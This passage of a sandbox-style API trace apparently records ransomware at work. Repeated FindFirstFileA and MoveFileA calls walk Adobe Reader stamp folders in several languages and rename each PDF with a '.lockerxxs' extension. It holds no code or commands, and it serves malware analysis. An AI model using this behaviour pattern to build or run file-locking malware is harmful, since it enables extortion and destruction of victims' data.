(x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\DAN\\Dynamic.pdf.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\dan\\dynamic.pdf.lockerxxs")) returned 1 [0071.714] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\DAN\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\dan\\signhere.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\DAN\\SignHere.pdf.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\dan\\signhere.pdf.lockerxxs")) returned 1 [0071.719] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\DAN\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\dan\\standardbusiness.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\DAN\\StandardBusiness.pdf.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\dan\\standardbusiness.pdf.lockerxxs")) returned 1 [0071.719] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\DEU\\*.*", lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7fedc340, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7fedc340, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7fedc340, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18000018, dwReserved1=0x4f9018, cFileName=".", cAlternateFileName="")) returned 0x5026d8 [0071.761] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\DEU\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\deu\\dynamic.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\DEU\\Dynamic.pdf.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\deu\\dynamic.pdf.lockerxxs")) returned 1 [0071.993] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\DEU\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\deu\\signhere.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\DEU\\SignHere.pdf.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\deu\\signhere.pdf.lockerxxs")) returned 1 [0072.001] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\DEU\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\deu\\standardbusiness.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\DEU\\StandardBusiness.pdf.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\deu\\standardbusiness.pdf.lockerxxs")) returned 1 [0072.003] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ENU\\*.*", lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7fedc340, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff024a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff024a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18000018, dwReserved1=0x4f9018, cFileName=".", cAlternateFileName="")) returned 0x5026d8 [0072.013] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ENU\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\enu\\dynamic.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ENU\\Dynamic.pdf.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\enu\\dynamic.pdf.lockerxxs")) returned 1 [0072.018] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ENU\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\enu\\signhere.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ENU\\SignHere.pdf.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\enu\\signhere.pdf.lockerxxs")) returned 1 [0072.024] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ENU\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\enu\\standardbusiness.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ENU\\StandardBusiness.pdf.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\enu\\standardbusiness.pdf.lockerxxs")) returned 1 [0072.025] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ESP\\*.*", lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff4e760, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff4e760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff4e760, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18000018, dwReserved1=0x4f9018, cFileName=".", cAlternateFileName="")) returned 0x5026d8 [0072.033] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ESP\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\esp\\dynamic.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ESP\\Dynamic.pdf.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\esp\\dynamic.pdf.lockerxxs")) returned 1 [0072.110] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ESP\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\esp\\signhere.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ESP\\SignHere.pdf.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\esp\\signhere.pdf.lockerxxs")) returned 1 [0072.129] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ESP\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\esp\\standardbusiness.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ESP\\StandardBusiness.pdf.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\esp\\standardbusiness.pdf.lockerxxs")) returned 1 [0072.130] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\EUQ\\*.*", lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81e8c820, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81eb2980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81eb2980, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18000018, dwReserved1=0x4f9018, cFileName=".", cAlternateFileName="")) returned 0x5026d8 [0072.144] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\EUQ\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\euq\\dynamic.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\EUQ\\Dynamic.pdf.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\euq\\dynamic.pdf.lockerxxs")) returned 1 [0072.148] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\EUQ\\Faces.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\euq\\faces.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\EUQ\\Faces.pdf.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\euq\\faces.pdf.lockerxxs")) returned 1 [0072.153] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\EUQ\\Pointers.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\euq\\pointers.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\EUQ\\Pointers.pdf.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\euq\\pointers.pdf.lockerxxs")) returned 1 [0072.157] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\EUQ\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\euq\\signhere.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\EUQ\\SignHere.pdf.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\euq\\signhere.pdf.lockerxxs")) returned 1 [0072.164] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\EUQ\\Standard.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\euq\\standard.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\EUQ\\Standard.pdf.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\euq\\standard.pdf.lockerxxs")) returned 1 [0072.183] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\EUQ\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\euq\\standardbusiness.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\EUQ\\StandardBusiness.pdf.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\euq\\standardbusiness.pdf.lockerxxs")) returned 1 [0072.198] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\FRA\\*.*", lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7feb61e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7feb61e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7feb61e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18000018, dwReserved1=0x4f9018, cFileName=".", cAlternateFileName="")) returned 0x5026d8 [0072.210] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\FRA\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\fra\\dynamic.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\FRA\\Dynamic.pdf.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\fra\\dynamic.pdf.lockerxxs")) returned 1 [0072.215] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\FRA\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\fra\\signhere.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\FRA\\SignHere.pdf.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\fra\\signhere.pdf.lockerxxs")) returned 1 [0072.227] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\FRA\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\fra\\standardbusiness.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\FRA\\StandardBusiness.pdf.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\fra\\standardbusiness.pdf.lockerxxs")) returned 1 [0072.228] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HRV\\*.*", lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8070aee0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8070aee0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8070aee0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18000018, dwReserved1=0x4f9018, cFileName=".", cAlternateFileName="")) returned 0x5026d8 [0072.243] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HRV\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\hrv\\dynamic.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HRV\\Dynamic.pdf.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\hrv\\dynamic.pdf.lockerxxs")) returned 1 [0072.249] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HRV\\Faces.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\hrv\\faces.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HRV\\Faces.pdf.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\hrv\\faces.pdf.lockerxxs")) returned 1 [0072.254] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HRV\\Pointers.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\hrv\\pointers.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HRV\\Pointers.pdf.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\hrv\\pointers.pdf.lockerxxs")) returned 1 [0072.259] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HRV\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\hrv\\signhere.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HRV\\SignHere.pdf.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\hrv\\signhere.pdf.lockerxxs")) returned 1 [0072.265] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HRV\\Standard.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\hrv\\standard.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HRV\\Standard.pdf.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\hrv\\standard.pdf.lockerxxs")) returned 1 [0072.271] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HRV\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\hrv\\standardbusiness.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HRV\\StandardBusiness.pdf.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\hrv\\standardbusiness.pdf.lockerxxs")) returned 1 [0072.272] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HUN\\*.*", lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x806e4d80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x806e4d80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x806e4d80, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18000018, dwReserved1=0x4f9018, cFileName=".", cAlternateFileName="")) returned 0x5026d8 [0072.285] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HUN\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\hun\\dynamic.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HUN\\Dynamic.pdf.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\hun\\dynamic.pdf.lockerxxs")) returned 1 [0072.290] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HUN\\Faces.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\hun\\faces.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HUN\\Faces.pdf.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\hun\\faces.pdf.lockerxxs")) returned 1 [0072.295] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HUN\\Pointers.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\hun\\pointers.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HUN\\Pointers.pdf.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\hun\\pointers.pdf.lockerxxs")) returned 1 [0072.300] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HUN\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\hun\\signhere.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HUN\\SignHere.pdf.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\hun\\signhere.pdf.lockerxxs")) returned 1 [0072.306] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HUN\\Standard.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\hun\\standard.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HUN\\Standard.pdf.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\hun\\standard.pdf.lockerxxs")) returned 1 [0072.311] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HUN\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\hun\\standardbusiness.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HUN\\StandardBusiness.pdf.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\hun\\standardbusiness.pdf.lockerxxs")) returned 1 [0072.312] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ITA\\*.*", lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7fedc340, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7fedc340, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7fedc340, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18000018, dwReserved1=0x4f9018, cFileName=".", cAlternateFileName="")) returned 0x5026d8 [0072.320] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ITA\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\ita\\dynamic.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ITA\\Dynamic.pdf.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\ita\\dynamic.pdf.lockerxxs")) returned 1 [0072.325] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ITA\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\ita\\signhere.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ITA\\SignHere.pdf.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\ita\\signhere.pdf.lockerxxs")) returned 1 [0072.332] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ITA\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\ita\\standardbusiness.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ITA\\StandardBusiness.pdf.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\ita\\standardbusiness.pdf.lockerxxs")) returned 1 [0072.333] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\JPN\\*.*", lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff024a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff024a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff024a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18000018, dwReserved1=0x4f9018, cFileName=".", cAlternateFileName="")) returned 0x5026d8 [0072.342] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\JPN\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\jpn\\dynamic.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\JPN\\Dynamic.pdf.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\jpn\\dynamic.pdf.lockerxxs")) returned 1 [0072.347] MoveFileA (lpExistingFileName="C:\\Program Files 